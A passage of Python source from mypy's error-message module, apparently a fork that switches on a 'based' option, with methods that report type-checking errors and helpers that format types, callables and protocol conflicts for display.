context) def incompatible_self_argument(self, name: str, arg: Type, sig: CallableType, is_classmethod: bool, context: Context) -> None: kind = 'class attribute function' if is_classmethod else 'attribute function' self.fail('Invalid self argument %s to %s "%s" with type %s' % (format_type(arg), kind, name, format_type(sig)), context) def incompatible_conditional_function_def(self, defn: FuncDef) -> None: self.fail('All conditional function variants must have identical ' 'signatures', defn) def cannot_instantiate_abstract_class(self, class_name: str, abstract_attributes: List[str], context: Context) -> None: attrs = format_string_list(['"%s"' % a for a in abstract_attributes]) self.fail('Cannot instantiate abstract class "%s" with abstract ' 'attribute%s %s' % (class_name, plural_s(abstract_attributes), attrs), context, code=codes.ABSTRACT) def base_class_definitions_incompatible(self, name: str, base1: TypeInfo, base2: TypeInfo, context: Context) -> None: self.fail('Definition of "{}" in base class "{}" is incompatible ' 'with definition in base class "{}"'.format( name, base1.name, base2.name), context) def cant_assign_to_method(self, context: Context) -> None: self.fail(message_registry.CANNOT_ASSIGN_TO_METHOD, context, code=codes.ASSIGNMENT) def cant_assign_to_classvar(self, name: str, context: Context) -> None: self.fail('Cannot assign to class variable "%s" via instance' % name, context) def final_cant_override_writable(self, name: str, ctx: Context) -> None: self.fail('Cannot override writable attribute "{}" with a final one'.format(name), ctx) def cant_override_final(self, name: str, base_name: str, ctx: Context) -> None: self.fail('Cannot override final attribute "{}"' ' (previously declared in base class "{}")'.format(name, base_name), ctx) def cant_assign_to_final(self, name: str, attr_assign: bool, ctx: Context) -> None: """Warn about a prohibited assignment to a final attribute. Pass `attr_assign=True` if the assignment assigns to an attribute. """ kind = "attribute" if attr_assign else "name" self.fail('Cannot assign to final {} "{}"'.format(kind, unmangle(name)), ctx) def protocol_members_cant_be_final(self, ctx: Context) -> None: self.fail("Protocol member cannot be final", ctx) def final_without_value(self, ctx: Context) -> None: self.fail("Final name must be initialized with a value", ctx) def read_only_property(self, name: str, type: TypeInfo, context: Context) -> None: self.fail('Property "{}" defined in "{}" is read-only'.format( name, type.name), context) def incompatible_typevar_value(self, callee: CallableType, typ: Type, typevar_name: str, context: Context) -> None: self.fail(message_registry.INCOMPATIBLE_TYPEVAR_VALUE .format(typevar_name, callable_name(callee) or 'function', format_type(typ)), context, code=codes.TYPE_VAR) def dangerous_comparison(self, left: Type, right: Type, kind: str, ctx: Context) -> None: left_str = 'element' if kind == 'container' else 'left operand' right_str = 'container item' if kind == 'container' else 'right operand' message = 'Non-overlapping {} check ({} type: {}, {} type: {})' left_typ, right_typ = format_type_distinctly(left, right) self.fail(message.format(kind, left_str, left_typ, right_str, right_typ), ctx, code=codes.COMPARISON_OVERLAP) def overload_inconsistently_applies_decorator(self, decorator: str, context: Context) -> None: self.fail( 'Overload does not consistently use the "@{}" '.format(decorator) + 'decorator on all function signatures.', context) def overloaded_signatures_overlap(self, index1: int, index2: int, context: Context) -> None: self.fail('Overloaded function signatures {} and {} overlap with ' 'incompatible return types'.format(index1, index2), context) def overloaded_signature_will_never_match(self, index1: int, index2: int, context: Context) -> None: self.fail( 'Overloaded function signature {index2} will never be matched: ' 'signature {index1}\'s parameter type(s) are the same or broader'.format( index1=index1, index2=index2), context) def overloaded_signatures_typevar_specific(self, index: int, context: Context) -> None: self.fail('Overloaded function implementation cannot satisfy signature {} '.format(index) + 'due to inconsistencies in how they use type variables', context) def overloaded_signatures_arg_specific(self, index: int, context: Context) -> None: self.fail('Overloaded function implementation does not accept all possible arguments ' 'of signature {}'.format(index), context) def overloaded_signatures_ret_specific(self, index: int, context: Context) -> None: self.fail('Overloaded function implementation cannot produce return type ' 'of signature {}'.format(index), context) def warn_both_operands_are_from_unions(self, context: Context) -> None: self.note('Both left and right operands are unions', context, code=codes.OPERATOR) def warn_operand_was_from_union(self, side: str, original: Type, context: Context) -> None: self.note('{} operand is of type {}'.format(side, format_type(original)), context, code=codes.OPERATOR) def operator_method_signatures_overlap( self, reverse_class: TypeInfo, reverse_method: str, forward_class: Type, forward_method: str, context: Context) -> None: self.fail('Signatures of "{}" of "{}" and "{}" of {} ' 'are unsafely overlapping'.format( reverse_method, reverse_class.name, forward_method, format_type(forward_class)), context) def forward_operator_not_callable( self, forward_method: str, context: Context) -> None: self.fail('Forward operator "{}" is not callable'.format( forward_method), context) def signatures_incompatible(self, method: str, other_method: str, context: Context) -> None: self.fail('Signatures of "{}" and "{}" are incompatible'.format( method, other_method), context) def yield_from_invalid_operand_type(self, expr: Type, context: Context) -> Type: text = format_type(expr) if format_type(expr) != 'object' else expr self.fail('"yield from" can\'t be applied to {}'.format(text), context) return AnyType(TypeOfAny.from_error) def invalid_signature(self, func_type: Type, context: Context) -> None: self.fail('Invalid signature {}'.format(format_type(func_type)), context) def invalid_signature_for_special_method( self, func_type: Type, context: Context, method_name: str) -> None: self.fail('Invalid signature {} for "{}"'.format(format_type(func_type), method_name), context) def reveal_type(self, typ: Type, context: Context) -> None: self.note('Revealed type is "{}"'.format(typ), context, code=codes.REVEAL) def reveal_locals(self, type_map: Dict[str, Optional[Type]], context: Context) -> None: # To ensure that the output is predictable on Python < 3.6, # use an ordered dictionary sorted by variable name sorted_locals = OrderedDict(sorted(type_map.items(), key=lambda t: t[0])) if sorted_locals: self.note("Revealed local types are:", context, code=codes.REVEAL) for k, v in sorted_locals.items(): self.note(' {}: {}'.format(k, v), context) else: self.note("There are no locals to reveal", context) def unsupported_type_type(self, item: Type, context: Context) -> None: self.fail('Cannot instantiate type "Type[{}]"'.format(format_type_bare(item)), context) def redundant_cast(self, typ: Type, context: Context) -> None: self.fail('Redundant cast to {}'.format(format_type(typ)), context, code=codes.REDUNDANT_CAST) def unimported_type_becomes_any(self, prefix: str, typ: Type, ctx: Context) -> None: self.fail("{} becomes {} due to an unfollowed import".format(prefix, format_type(typ)), ctx, code=codes.NO_ANY_UNIMPORTED) def need_annotation_for_var(self, node: SymbolNode, context: Context, python_version: Optional[Tuple[int, int]] = None) -> None: hint = '' has_variable_annotations = not python_version or python_version >= (3, 6) # Only gives hint if it's a variable declaration and the partial type is a builtin type if (python_version and isinstance(node, Var) and isinstance(node.type, PartialType) and node.type.type and node.type.type.fullname in reverse_builtin_aliases): alias = reverse_builtin_aliases[node.type.type.fullname] alias = alias.split('.')[-1] type_dec = '<type>' if alias == 'Dict': type_dec = '{}, {}'.format(type_dec, type_dec) if has_variable_annotations: hint = ' (hint: "{}: {}[{}] = ...")'.format(node.name, alias, type_dec) else: hint = ' (hint: "{} = ... # type: {}[{}]")'.format(node.name, alias, type_dec) if has_variable_annotations: needed = 'annotation' else: needed = 'comment' self.fail('Need type {} for "{}"{}'.format(needed, unmangle(node.name), hint), context, code=codes.VAR_ANNOTATED) def explicit_any(self, ctx: Context) -> None: self.fail('Explicit "Any" is not allowed', ctx, code=codes.NO_ANY_EXPLICIT) def unexpected_typeddict_keys( self, typ: TypedDictType, expected_keys: List[str], actual_keys: List[str], context: Context) -> None: actual_set = set(actual_keys) expected_set = set(expected_keys) if not typ.is_anonymous(): # Generate simpler messages for some common special cases. if actual_set < expected_set: # Use list comprehension instead of set operations to preserve order. missing = [key for key in expected_keys if key not in actual_set] self.fail('Missing {} for TypedDict {}'.format( format_key_list(missing, short=True), format_type(typ)), context, code=codes.TYPEDDICT_ITEM) return else: extra = [key for key in actual_keys if key not in expected_set] if extra: # If there are both extra and missing keys, only report extra ones for # simplicity. self.fail('Extra {} for TypedDict {}'.format( format_key_list(extra, short=True), format_type(typ)), context, code=codes.TYPEDDICT_ITEM) return found = format_key_list(actual_keys, short=True) if not expected_keys: self.fail('Unexpected TypedDict {}'.format(found), context) return expected = format_key_list(expected_keys) if actual_keys and actual_set < expected_set: found = 'only {}'.format(found) self.fail('Expected {} but found {}'.format(expected, found), context, code=codes.TYPEDDICT_ITEM) def typeddict_key_must_be_string_literal( self, typ: TypedDictType, context: Context) -> None: self.fail( 'TypedDict key must be a string literal; expected one of {}'.format( format_item_name_list(typ.items.keys())), context, code=codes.LITERAL_REQ) def typeddict_key_not_found( self, typ: TypedDictType, item_name: str, context: Context) -> None: if typ.is_anonymous(): self.fail('"{}" is not a valid TypedDict key; expected one of {}'.format( item_name, format_item_name_list(typ.items.keys())), context) else: self.fail('TypedDict {} has no key "{}"'.format( format_type(typ), item_name), context, code=codes.TYPEDDICT_ITEM) matches = best_matches(item_name, typ.items.keys()) if matches: self.note("Did you mean {}?".format( pretty_seq(matches[:3], "or")), context, code=codes.TYPEDDICT_ITEM) def typeddict_context_ambiguous( self, types: List[TypedDictType], context: Context) -> None: formatted_types = ', '.join(list(format_type_distinctly(*types))) self.fail('Type of TypedDict is ambiguous, could be any of ({})'.format( formatted_types), context) def typeddict_key_cannot_be_deleted( self, typ: TypedDictType, item_name: str, context: Context) -> None: if typ.is_anonymous(): self.fail('TypedDict key "{}" cannot be deleted'.format(item_name), context) else: self.fail('Key "{}" of TypedDict {} cannot be deleted'.format( item_name, format_type(typ)), context) def typeddict_setdefault_arguments_inconsistent( self, default: Type, expected: Type, context: Context) -> None: msg = 'Argument 2 to "setdefault" of "TypedDict" has incompatible type {}; expected {}' self.fail(msg.format(format_type(default), format_type(expected)), context, code=codes.TYPEDDICT_ITEM) def type_arguments_not_allowed(self, context: Context) -> None: self.fail('Parameterized generics cannot be used with class or instance checks', context) def disallowed_any_type(self, typ: Type, context: Context) -> None: typ = get_proper_type(typ) if isinstance(typ, AnyType): message = f'Expression has type "{typ.describe()}"' else: message = 'Expression type contains "Any" (has type {})'.format(format_type(typ)) self.fail(message, context, code=codes.NO_ANY_EXPR) def incorrectly_returning_any(self, typ: Type, context: Context) -> None: message = 'Returning Any from function declared to return {}'.format( format_type(typ)) self.fail(message, context, code=codes.NO_ANY_RETURN) def incorrect__exit__return(self, context: Context) -> None: self.fail( '"bool" is invalid as return type for "__exit__" that always returns False', context, code=codes.EXIT_RETURN) self.note( 'Use "typing_extensions.Literal[False]" as the return type or change it to "None"', context, code=codes.EXIT_RETURN) self.note( 'If return type of "__exit__" implies that it may return True, ' 'the context manager may swallow exceptions', context, code=codes.EXIT_RETURN) def untyped_decorated_function(self, typ: Type, context: Context) -> None: typ = get_proper_type(typ) if isinstance(typ, AnyType): self.fail("Function is untyped after decorator transformation", context, code=codes.NO_ANY_DECORATED) else: self.fail('Type of decorated function contains type "Any" ({})'.format( format_type(typ)), context, code=codes.NO_ANY_DECORATED) def typed_function_untyped_decorator(self, func_name: str, context: Context) -> None: self.fail('Untyped decorator makes function "{}" untyped'.format(func_name), context) def bad_proto_variance(self, actual: int, tvar_name: str, expected: int, context: Context) -> None: msg = capitalize('{} type variable "{}" used in protocol where' ' {} one is expected'.format(variance_string(actual), tvar_name, variance_string(expected))) self.fail(msg, context) def concrete_only_assign(self, typ: Type, context: Context) -> None: self.fail("Can only assign concrete classes to a variable of type {}" .format(format_type(typ)), context) def concrete_only_call(self, typ: Type, context: Context) -> None: self.fail("Only concrete class can be given where {} is expected" .format(format_type(typ)), context) def cannot_use_function_with_type( self, method_name: str, type_name: str, context: Context) -> None: self.fail("Cannot use {}() with {} type".format(method_name, type_name), context) def report_non_method_protocol(self, tp: TypeInfo, members: List[str], context: Context) -> None: self.fail("Only protocols that don't have non-method members can be" " used with issubclass()", context) if len(members) < 3: attrs = ', '.join(members) self.note('Protocol "{}" has non-method member(s): {}' .format(tp.name, attrs), context) def note_call(self, subtype: Type, call: Type, context: Context, *, code: Optional[ErrorCode]) -> None: self.note('"{}.__call__" has type {}'.format(format_type_bare(subtype), format_type(call, verbosity=1)), context, code=code) def unreachable_statement(self, context: Context) -> None: self.fail("Statement is unreachable", context, code=codes.UNREACHABLE) def redundant_left_operand(self, op_name: str, context: Context) -> None: """Indicates that the left operand of a boolean expression is redundant: it does not change the truth value of the entire condition as a whole. 'op_name' should either be the string "and" or the string "or". """ self.redundant_expr('Left operand of "{}"'.format(op_name), op_name == 'and', context) def unreachable_right_operand(self, op_name: str, context: Context) -> None: """Indicates that the right operand of a boolean expression is redundant: it does not change the truth value of the entire condition as a whole. 'op_name' should either be the string "and" or the string "or". """ self.fail('Right operand of "{}" is never evaluated'.format(op_name), context, code=codes.UNREACHABLE) def redundant_condition_in_comprehension(self, truthiness: bool, context: Context) -> None: self.redundant_expr("If condition in comprehension", truthiness, context) def redundant_condition_in_if(self, truthiness: bool, context: Context) -> None: self.redundant_expr("If condition", truthiness, context) def redundant_expr(self, description: str, truthiness: bool, context: Context) -> None: self.fail("{} is always {}".format(description, str(truthiness).lower()), context, code=codes.REDUNDANT_EXPR) def impossible_intersection(self, formatted_base_class_list: str, reason: str, context: Context, ) -> None: template = "Subclass of {} cannot exist: would have {}" self.fail(template.format(formatted_base_class_list, reason), context, code=codes.UNREACHABLE) def report_protocol_problems(self, subtype: Union[Instance, TupleType, TypedDictType], supertype: Instance, context: Context, *, code: Optional[ErrorCode]) -> None: """Report possible protocol conflicts between 'subtype' and 'supertype'. This includes missing members, incompatible types, and incompatible attribute flags, such as settable vs read-only or class variable vs instance variable. """ OFFSET = 4 # Four spaces, so that notes will look like this: # note: 'Cls' is missing following 'Proto' members: # note: method, attr MAX_ITEMS = 2 # Maximum number of conflicts, missing members, and overloads shown # List of special situations where we don't want to report additional problems exclusions: Dict[type, List[str]] = { TypedDictType: ["typing.Mapping"], TupleType: ["typing.Iterable", "typing.Sequence"], Instance: [], } if supertype.type.fullname in exclusions[type(subtype)]: return if any(isinstance(tp, UninhabitedType) for tp in get_proper_types(supertype.args)): # We don't want to add notes for failed inference (e.g. Iterable[<nothing>]). # This will be only confusing a user even more. return if isinstance(subtype, TupleType): if not isinstance(subtype.partial_fallback, Instance): return subtype = subtype.partial_fallback elif isinstance(subtype, TypedDictType): if not isinstance(subtype.fallback, Instance): return subtype = subtype.fallback # Report missing members missing = get_missing_protocol_members(subtype, supertype) if (missing and len(missing) < len(supertype.type.protocol_members) and len(missing) <= MAX_ITEMS): self.note('"{}" is missing following "{}" protocol member{}:' .format(subtype.type.name, supertype.type.name, plural_s(missing)), context, code=code) self.note(', '.join(missing), context, offset=OFFSET, code=code) elif len(missing) > MAX_ITEMS or len(missing) == len(supertype.type.protocol_members): # This is an obviously wrong type: too many missing members return # Report member type conflicts conflict_types = get_conflict_protocol_types(subtype, supertype) if conflict_types and (not is_subtype(subtype, erase_type(supertype)) or not subtype.type.defn.type_vars or not supertype.type.defn.type_vars): self.note('Following member(s) of {} have ' 'conflicts:'.format(format_type(subtype)), context, code=code) for name, got, exp in conflict_types[:MAX_ITEMS]: exp = get_proper_type(exp) got = get_proper_type(got) if (not isinstance(exp, (CallableType, Overloaded)) or not isinstance(got, (CallableType, Overloaded))): self.note('{}: expected {}, got {}'.format(name, *format_type_distinctly(exp, got)), context, offset=OFFSET, code=code) else: self.note('Expected:', context, offset=OFFSET, code=code) if isinstance(exp, CallableType): self.note(pretty_callable(exp), context, offset=2 * OFFSET, code=code) else: assert isinstance(exp, Overloaded) self.pretty_overload(exp, context, 2 * OFFSET, code=code) self.note('Got:', context, offset=OFFSET, code=code) if isinstance(got, CallableType): self.note(pretty_callable(got), context, offset=2 * OFFSET, code=code) else: assert isinstance(got, Overloaded) self.pretty_overload(got, context, 2 * OFFSET, code=code) self.print_more(conflict_types, context, OFFSET, MAX_ITEMS, code=code) # Report flag conflicts (i.e. settable vs read-only etc.) conflict_flags = get_bad_protocol_flags(subtype, supertype) for name, subflags, superflags in conflict_flags[:MAX_ITEMS]: if IS_CLASSVAR in subflags and IS_CLASSVAR not in superflags: self.note('Protocol member {}.{} expected instance variable,' ' got class variable'.format(supertype.type.name, name), context, code=code) if IS_CLASSVAR in superflags and IS_CLASSVAR not in subflags: self.note('Protocol member {}.{} expected class variable,' ' got instance variable'.format(supertype.type.name, name), context, code=code) if IS_SETTABLE in superflags and IS_SETTABLE not in subflags: self.note('Protocol member {}.{} expected settable variable,' ' got read-only attribute'.format(supertype.type.name, name), context, code=code) if IS_CLASS_OR_STATIC in superflags and IS_CLASS_OR_STATIC not in subflags: self.note('Protocol member {}.{} expected class or static method' .format(supertype.type.name, name), context, code=code) self.print_more(conflict_flags, context, OFFSET, MAX_ITEMS, code=code) def pretty_overload(self, tp: Overloaded, context: Context, offset: int, *, add_class_or_static_decorator: bool = False, allow_dups: bool = False, code: Optional[ErrorCode] = None) -> None: for item in tp.items: self.note('@overload', context, offset=offset, allow_dups=allow_dups, code=code) if add_class_or_static_decorator: decorator = pretty_class_or_static_decorator(item) if decorator is not None: self.note(decorator, context, offset=offset, allow_dups=allow_dups, code=code) self.note(pretty_callable(item), context, offset=offset, allow_dups=allow_dups, code=code) def print_more(self, conflicts: Sequence[Any], context: Context, offset: int, max_items: int, *, code: Optional[ErrorCode] = None) -> None: if len(conflicts) > max_items: self.note('<{} more conflict(s) not shown>' .format(len(conflicts) - max_items), context, offset=offset, code=code) def try_report_long_tuple_assignment_error(self, subtype: ProperType, supertype: ProperType, context: Context, msg: str = message_registry.INCOMPATIBLE_TYPES, subtype_label: Optional[str] = None, supertype_label: Optional[str] = None, code: Optional[ErrorCode] = None) -> bool: """Try to generate meaningful error message for very long tuple assignment Returns a bool: True when generating long tuple assignment error, False when no such error reported """ if isinstance(subtype, TupleType): if (len(subtype.items) > 10 and isinstance(supertype, Instance) and supertype.type.fullname == 'builtins.tuple'): lhs_type = supertype.args[0] lhs_types = [lhs_type] * len(subtype.items) self.generate_incompatible_tuple_error(lhs_types, subtype.items, context, msg, code) return True elif (isinstance(supertype, TupleType) and (len(subtype.items) > 10 or len(supertype.items) > 10)): if len(subtype.items) != len(supertype.items): if supertype_label is not None and subtype_label is not None: error_msg = "{} ({} {}, {} {})".format(msg, subtype_label, self.format_long_tuple_type(subtype), supertype_label, self.format_long_tuple_type(supertype)) self.fail(error_msg, context, code=code) return True self.generate_incompatible_tuple_error(supertype.items, subtype.items, context, msg, code) return True return False def format_long_tuple_type(self, typ: TupleType) -> str: """Format very long tuple type using an ellipsis notation""" item_cnt = len(typ.items) if item_cnt > 10: return 'Tuple[{}, {}, ... <{} more items>]'\ .format(format_type_bare(typ.items[0]), format_type_bare(typ.items[1]), str(item_cnt - 2)) else: return format_type_bare(typ) def generate_incompatible_tuple_error(self, lhs_types: List[Type], rhs_types: List[Type], context: Context, msg: str = message_registry.INCOMPATIBLE_TYPES, code: Optional[ErrorCode] = None) -> None: """Generate error message for individual incompatible tuple pairs""" error_cnt = 0 notes = [] # List[str] for i, (lhs_t, rhs_t) in enumerate(zip(lhs_types, rhs_types)): if not is_subtype(lhs_t, rhs_t): if error_cnt < 3: notes.append('Expression tuple item {} has type {}; {} expected; ' .format(str(i), format_type(rhs_t), format_type(lhs_t))) error_cnt += 1 error_msg = msg + ' ({} tuple items are incompatible'.format(str(error_cnt)) if error_cnt - 3 > 0: error_msg += '; {} items are omitted)'.format(str(error_cnt - 3)) else: error_msg += ')' self.fail(error_msg, context, code=code) for note in notes: self.note(note, context, code=code) def add_fixture_note(self, fullname: str, ctx: Context) -> None: self.note('Maybe your test fixture does not define "{}"?'.format(fullname), ctx) if fullname in SUGGESTED_TEST_FIXTURES: self.note( 'Consider adding [builtins fixtures/{}] to your test description'.format( SUGGESTED_TEST_FIXTURES[fullname]), ctx) def quote_type_string(type_string: str) -> str: """Quotes a type representation for use in messages.""" no_quote_regex = r'^<(tuple|union): \d+ items>$' if (type_string in ['Module', 'overloaded function', '<nothing>', '<deleted>'] or re.match(no_quote_regex, type_string) is not None or type_string.endswith('?')): # Messages are easier to read if these aren't quoted. We use a # regex to match strings with variable contents. return type_string return '"{}"'.format(type_string) def format_type_inner(typ: Type, verbosity: int, fullnames: Optional[Set[str]]) -> str: """ Convert a type to a relatively short string suitable for error messages. Args: verbosity: a coarse grained control on the verbosity of the type fullnames: a set of names that should be printed in full """ def format(typ: Type) -> str: return format_type_inner(typ, verbosity, fullnames) def format_list(types: Sequence[Type]) -> str: return ', '.join(format(typ) for typ in types) def format_union(types: Sequence[Type]) -> str: if not mypy.options._based: return format_list(types) return ' | '.join(format(typ) for typ in types) def format_literal_value(typ: LiteralType) -> str: if typ.is_enum_literal(): underlying_type = format(typ.fallback) return '{}.{}'.format(underlying_type, typ.value) else: return typ.value_repr() # TODO: show type alias names in errors. typ = get_proper_type(typ) if isinstance(typ, Instance): itype = typ # Get the short name of the type. if itype.type.fullname in ('types.ModuleType', '_importlib_modulespec.ModuleType'): # Make some common error messages simpler and tidier. return 'Module' if verbosity >= 2 or (fullnames and itype.type.fullname in fullnames): base_str = itype.type.fullname else: base_str = itype.type.name if not itype.args: # No type arguments, just return the type name return TypeStrVisitor.strip_builtins(base_str) elif itype.type.fullname == 'builtins.tuple': item_type_str = format(itype.args[0]) if not mypy.options._based: return 'Tuple[{}, ...]'.format(item_type_str) return 'tuple[{}, ...]'.format(item_type_str) elif not mypy.options._based and itype.type.fullname in reverse_builtin_aliases: alias = reverse_builtin_aliases[itype.type.fullname] alias = alias.split('.')[-1] return '{}[{}]'.format(alias, format_list(itype.args)) else: # There are type arguments. Convert the arguments to strings. return '{}[{}]'.format(base_str, format_list(itype.args)) elif isinstance(typ, TypeVarType): # This is similar to non-generic instance types. return typ.name elif isinstance(typ, ParamSpecType): return typ.name_with_suffix() elif isinstance(typ, TupleType): # Prefer the name of the fallback class (if not tuple), as it's more informative. if typ.partial_fallback.type.fullname != 'builtins.tuple': return format(typ.partial_fallback) if not mypy.options._based: s = 'Tuple[{}]'.format(format_list(typ.items)) else: s = format_list(typ.items) s = f'({s},)' if len(typ.items) == 1 else f'({s})' return s elif isinstance(typ, TypedDictType): # If the TypedDictType is named, return the name if not typ.is_anonymous(): return format(typ.fallback) items = [] for (item_name, item_type) in typ.items.items(): modifier = '' if item_name in typ.required_keys else '?' items.append('{!r}{}: {}'.format(item_name, modifier, format(item_type))) s = 'TypedDict({{{}}})'.format(', '.join(items)) return s elif isinstance(typ, LiteralType): return 'Literal[{}]'.format(format_literal_value(typ)) elif isinstance(typ, UnionType): literal_items, union_items = separate_union_literals(typ) # Coalesce multiple Literal[] members. This also changes output order. # If there's just one Literal item, retain the original ordering. if len(literal_items) > 1: literal_str = 'Literal[{}]'.format( ', '.join(format_literal_value(t) for t in literal_items) ) if len(union_items) == 1 and isinstance(get_proper_type(union_items[0]), NoneType): return 'Optional[{}]'.format(literal_str) elif union_items: if not mypy.options._based: return 'Union[{}, {}]'.format(format_list(union_items), literal_str) return '{} | {}'.format(format_union(union_items), literal_str) else: return literal_str else: # Only print Union as Optional if the Optional wouldn't have to contain another Union print_as_optional = (len(typ.items) - sum(isinstance(get_proper_type(t), NoneType) for t in typ.items) == 1) if print_as_optional: rest = [t for t in typ.items if not isinstance(get_proper_type(t), NoneType)] return 'Optional[{}]'.format(format(rest[0])) else: if mypy.options._based: s = format_union(typ.items) else: s = 'Union[{}]'.format(format_list(typ.items)) return s elif isinstance(typ, NoneType): return 'None' elif isinstance(typ, AnyType): return typ.describe() elif isinstance(typ, DeletedType): return '<deleted>' elif isinstance(typ, UninhabitedType): if typ.is_noreturn: return 'NoReturn' else: return '<nothing>' elif isinstance(typ, TypeType): if not mypy.options._based: return 'Type[{}]'.format(format(typ.item)) return 'type[{}]'.format(format(typ.item)) elif isinstance(typ, FunctionLike): func = typ if func.is_type_obj(): # The type of a type object type can be derived from the # return type (this always works). return format(TypeType.make_normalized(erase_type(func.items[0].ret_type))) elif isinstance(func, CallableType): if func.type_guard is not None: return_type = f'TypeGuard[{format(func.type_guard)}]' else: return_type = format(func.ret_type) if func.is_ellipsis_args: if not mypy.options._based: return f'Callable[..., {return_type}]' return f'(...) -> {return_type}' param_spec = func.param_spec() if param_spec is not None: if not mypy.options._based: return f'Callable[{param_spec.name}, {return_type}]' return f"({param_spec.name}) -> {return_type}" arg_strings = [] for arg_name, arg_type, arg_kind in zip( func.arg_names, func.arg_types, func.arg_kinds): if (arg_kind == ARG_POS and arg_name is None or verbosity == 0 and arg_kind.is_positional()): arg_strings.append(format(arg_type)) else: constructor = ARG_CONSTRUCTOR_NAMES[arg_kind] if arg_kind.is_star() or arg_name is None: arg_strings.append("{}({})".format( constructor, format(arg_type))) else: arg_strings.append("{}({}, {})".format( constructor, format(arg_type), repr(arg_name))) if not mypy.options._based: return 'Callable[[{}], {}]'.format(", ".join(arg_strings), return_type) return f'({', '.join(arg_strings)}) -> {return_type}' else: # Use a simple representation for function types; proper # function types may result in long and difficult-to-read # error messages. return 'overloaded function' elif isinstance(typ, UnboundType): return str(typ) elif typ is None: raise RuntimeError('Type is None') else: # Default case; we simply have to return something meaningful here. return 'object' def collect_all_instances(t: Type) -> List[Instance]: """Return all instances that `t` contains (including `t`). This is similar to collect_all_inner_types from typeanal but only returns instances and will recurse into fallbacks. """ visitor = CollectAllInstancesQuery() t.accept(visitor) return visitor.instances class CollectAllInstancesQuery(TypeTraverserVisitor): def __init__(self) -> None: self.instances: List[Instance] = [] def visit_instance(self, t: Instance) -> None: self.instances.append(t) super().visit_instance(t) def find_type_overlaps(*types: Type) -> Set[str]: """Return a set of fullnames that share a short name and appear in either type. This is used to ensure that distinct types with the same short name are printed with their fullname. """ d: Dict[str, Set[str]] = {} for type in types: for inst in collect_all_instances(type): d.setdefault(inst.type.name, set()).add(inst.type.fullname) for shortname in d.keys(): if 'typing.{}'.format(shortname) in TYPES_FOR_UNIMPORTED_HINTS: d[shortname].add('typing.{}'.format(shortname)) overlaps: Set[str] = set() for fullnames in d.values(): if len(fullnames) > 1: overlaps.update(fullnames) return overlaps def format_type(typ: Type, verbosity: int = 0) -> str: """ Convert a type to a relatively short string suitable for error messages. `verbosity` is a coarse grained control on the verbosity of the type This function returns a string appropriate for unmodified use in error messages; this means that it will be quoted in most cases. If modification of the formatted string is required, callers should use format_type_bare. """ return quote_type_string(format_type_bare(typ, verbosity)) def format_type_bare(typ: Type, verbosity: int = 0) -> str: """ Convert a type to a relatively short string suitable for error messages. `verbosity` is a coarse grained control on the verbosity of the type `fullnames` specifies a set of names that should be printed in full This function will return an unquoted string. If a caller doesn't need to perform post-processing on the string output, format_type should be used instead. (The caller may want to use quote_type_string after processing has happened, to maintain consistent quoting in messages.) """ return format_type_inner(typ, verbosity, find_type_overlaps(typ)) def format_type_distinctly(*types: Type, bare: bool = False) -> Tuple[str, ...]: """Jointly format types to distinct strings. Increase the verbosity of the type strings until they become distinct while also requiring that distinct types with the same short name are formatted distinctly. By default, the returned strings are created using format_type() and will be quoted accordingly. If ``bare`` is True, the returned strings will not be quoted; callers who need to do post-processing of the strings before quoting them (such as prepending * or **) should use this. """ overlapping = find_type_overlaps(*types) for verbosity in range(2): strs = [ format_type_inner(type, verbosity=verbosity, fullnames=overlapping) for type in types ] if len(set(strs)) == len(strs): break if bare: return tuple(strs) else: return tuple(quote_type_string(s) for s in strs) def pretty_class_or_static_decorator(tp: CallableType) -> Optional[str]: """Return @classmethod or @staticmethod, if any, for the given callable type.""" if tp.definition is not None and isinstance(tp.definition, SYMBOL_FUNCBASE_TYPES): if tp.definition.is_class: return '@classmethod' if tp.definition.is_static: return '@staticmethod' return None def pretty_callable(tp: CallableType) -> str: """Return a nice easily-readable representation of a callable type. For example: def [T <: int] f(self, x: int, y: T) -> None """ s = '' asterisk = False for i in range(len(tp.arg_types)): if s: s += ', ' if tp.arg_kinds[i].is_named() and not asterisk: s += '*, ' asterisk = True if tp.arg_kinds[i] == ARG_STAR: s += '*' asterisk = True if tp.arg_kinds[i] == ARG_STAR2: s += '**' name = tp.arg_names[i] if name: s += name + ': ' s += format_type_bare(tp.arg_types[i]) if tp.arg_kinds[i].is_optional(): s += ' = ...' # If we got a "special arg" (i.e: self, cls, etc...), prepend it to the arg list if isinstance(tp.definition, FuncDef) and tp.definition.name is not None: definition_args = [arg.variable.name for arg in tp.definition.arguments] if definition_args and tp.arg_names != definition_args \ and len(definition_args) > 0 and definition_args[0]: if s: s = ', ' + s s = definition_args[0] + s s = '{}({})'.format(tp.definition.name, s) elif tp.name: first_arg = tp.def_extras.get('first_arg') if first_arg: if s: s = ', ' + s s = first_arg + s s = '{}({})'.format(tp.name.split()[0], s) # skip "of Class" part else: s = '({})'.format(s) s += ' -> ' if tp.type_guard is not None: s += 'TypeGuard[{}]'.format(format_type_bare(tp.type_guard)) else: s += format_type_bare(tp.ret_type) if tp.variables: tvars = [] for tvar in tp.variables: if isinstance(tvar, TypeVarType): upper_bound = get_proper_type(tvar.upper_bound) if (isinstance(upper_bound, Instance) and upper_bound.type.fullname != 'builtins.object'): tvars.append('{} <: {}'.format(tvar.name, format_type_bare(upper_bound))) elif tvar.values: tvars.append('{} in ({})' .format(tvar.name, ', '.join([format_type_bare(tp) for tp in tvar.values]))) else: tvars.append(tvar.name) else: # For other TypeVarLikeTypes, just use the repr tvars.append(repr(tvar)) s = '[{}] {}'.format(', '.join(tvars), s) return 'def {}'.format(s) def variance_string(variance: int) -> str: if variance == COVARIANT: return 'covariant' elif variance == CONTRAVARIANT: return 'contravariant' else: return 'invariant' def get_missing_protocol_members(left: Instance, right: Instance) -> List[str]: """Find all protocol members of 'right' that are not implemented (i.e. completely missing) in 'left'. """ assert right.type.is_protocol missing: List[str] = [] for member in right.type.protocol_members: if not find_member(member, left, left): missing.append(member) return missing def get_conflict_protocol_types(left: Instance, right: Instance) -> List[Tuple[str, Type, Type]]: """Find members that are defined in 'left' but have incompatible types. Return them as a list of ('member', 'got', 'expected'). """ assert right.type.is_protocol conflicts: List[Tuple[str, Type, Type]] = [] for member in right.type.protocol_members: if member in ('__init__', '__new__'): continue supertype = find_member(member, right, left) assert supertype is not None subtype = find_member(member, left, left) if not subtype: continue is_compat = is_subtype(subtype, supertype, ignore_pos_arg_names=True) if IS_SETTABLE in get_member_flags(member, right.type): is_compat = is_compat and is_subtype(supertype, subtype) if not is_compat: conflicts.append((member, subtype, supertype)) return conflicts def 